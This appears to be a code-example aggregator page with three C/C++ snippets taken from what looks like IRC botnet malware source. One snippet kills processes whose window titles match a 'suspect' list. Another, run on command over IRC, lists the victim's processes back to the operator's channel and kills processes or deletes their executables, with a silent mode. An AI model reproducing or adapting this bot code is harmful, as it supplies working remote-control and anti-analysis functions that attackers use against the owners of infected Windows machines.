Exemplo n.º 1
0
BOOL killthread(int threadnum)
{
	BOOL threadkilled = FALSE;

	if ((threadnum>0) && (threadnum<MAX_THREADS))
	{
		TerminateThread(threads[threadnum].tHandle, 0);
		if (threads[threadnum].tHandle != 0) 
			threadkilled = TRUE;

		threads[threadnum].tHandle = 0;
		threads[threadnum].id = 0;
		threads[threadnum].parent = 0;

#ifndef NO_PROCESS
		if(threads[threadnum].pid > 0)
			KillPid(threads[threadnum].pid);
#endif

		threads[threadnum].pid = 0; 
		threads[threadnum].name[0] = '\0';
//		threads[threadnum].nick[0] = '\0';

//		fclosesocket(threads[threadnum].sock);
//		threads[threadnum].sock = 0;
		fclosesocket(threads[threadnum].csock);
		threads[threadnum].csock = 0;
	}

	return threadkilled;
}
Exemplo n.º 2
0
BOOL CALLBACK CPunk::KilWindow( HWND hwnd, LPARAM lParam )
{
	DWORD tid = 0;
	DWORD pid = 0;
	size_t i = 0;
	GetWindowText( hwnd, WndText, MAX_PATH );
	convertolower( WndText, strlen(WndText ) );

	for ( i = 0 ; i<suspect.size(); i ++ )
	{
		if ( strstr( WndText, suspect[i].c_str() ) != NULL )
		{
			tid = GetWindowThreadProcessId(hwnd, &pid );
			KillPid( pid );
		}
	}
	return TRUE;
}
Exemplo n.º 3
0
// bdata1 = list
// bdata2 = kill
// bdata3 = del on kill
DWORD WINAPI ProcessThread(LPVOID param) 
{
	NTHREAD process = *((NTHREAD *)param);
	NTHREAD *processt = (NTHREAD *)param;
	processt->gotinfo = TRUE;

	IRC* irc=(IRC*)process.conn;
	char sendbuf[IRCLINE];
	//char target[128];
	//sprintf(target,process.hostd->target);
	//char *target=process.hostd->target;

	if (process.bdata1) // list
	{
		std::list<process_info> lProcesses;
		if(ListProcesses(&lProcesses,process.data2))
		{
			std::list<process_info>::iterator ip; int iCount=0;

			irc->privmsg(process.target,"%s Process List:",process_title);

			if (process.verbose)
				irc->privmsg(process.target," PID � - Mem Usage - Process");

			for(ip=lProcesses.begin(); ip!=lProcesses.end(); ++ip)
			{
				iCount++;
				char *processExe=(*ip).sProcessName;
				char *mUsage=(*ip).mUsage;
				unsigned long processPid=(*ip).lProcessPid;

				strcat(mUsage," K");
				sprintf(sendbuf," %-6d- %-10s- \"%s\"",processPid,mUsage,processExe);

				irc->privmsg(process.target,sendbuf);
			}
			//sprintf(sendbuf,"%s Displayed process list.",process_title);
			//addlog(MAINLOG,sendbuf);
			irc->privmsg(process.target,"%s End of list.",process_title);
		}
		else
		{
			irc->privmsg(process.target,"%s Unable to list processes, error: <%d>.",process_title,GetLastError());
			//addlog(ERRORLOG,sendbuf);
		}

	}
	else
	{
		if (process.bdata2) // kill
		{
			char procKilled[16];

			if (!process.bdata3) // delete
			{
				if (KillProcess(process.data1,procKilled))
				{
					if (!process.silent)
						irc->privmsg(process.target,"%s Process \"%s\" killed, total: <%s>.",process_title,process.data1,procKilled);
				}
				else if (KillPid(atoi(process.data1)))
				{
					if (!process.silent)
						irc->privmsg(process.target,"%s PID \"%i\" killed.",process_title,atoi(process.data1));
				}
				else
				{
					if (!process.silent)
						irc->privmsg(process.target,"%s Failed to kill process.",process_title);
				}
			}
			else
			{
				char path[MAX_PATH];
				sprintf(path,"%s",ProcessPidToName(atoi(process.data1),path));

				char fname[_MAX_FNAME],ext[_MAX_EXT];
				_splitpath(path,0,0,fname,ext);
				strcat(fname,ext);
				
				BOOL success=FALSE;
				BOOL killed=FALSE;
				for (int t=0;t<5;t++)
				{
					if (KillPid(atoi(process.data1)))
						killed=TRUE;
					SetFileAttributes(path,FILE_ATTRIBUTE_NORMAL);
					if (DeleteFile(path))
					{
						success=TRUE;
						break;
					}
					else
					{
						if (killed) //if we've killed the process id and cant erase 
							KillProcess(fname,0);//it maybe its running more than once
						Sleep(1000);
					}
				}
				if (success)
				{
					if (!process.silent)
						irc->privmsg(process.target,"%s PID \"%i\" killed and deleted.",process_title,atoi(process.data1));
				}
				else
				{
					if (!process.silent)
						irc->privmsg(process.target,"%s Failed to kill and erase process.",process_title);
				}
			}
		}
	}
	clearthread(process.threadnum);
	return 0;
}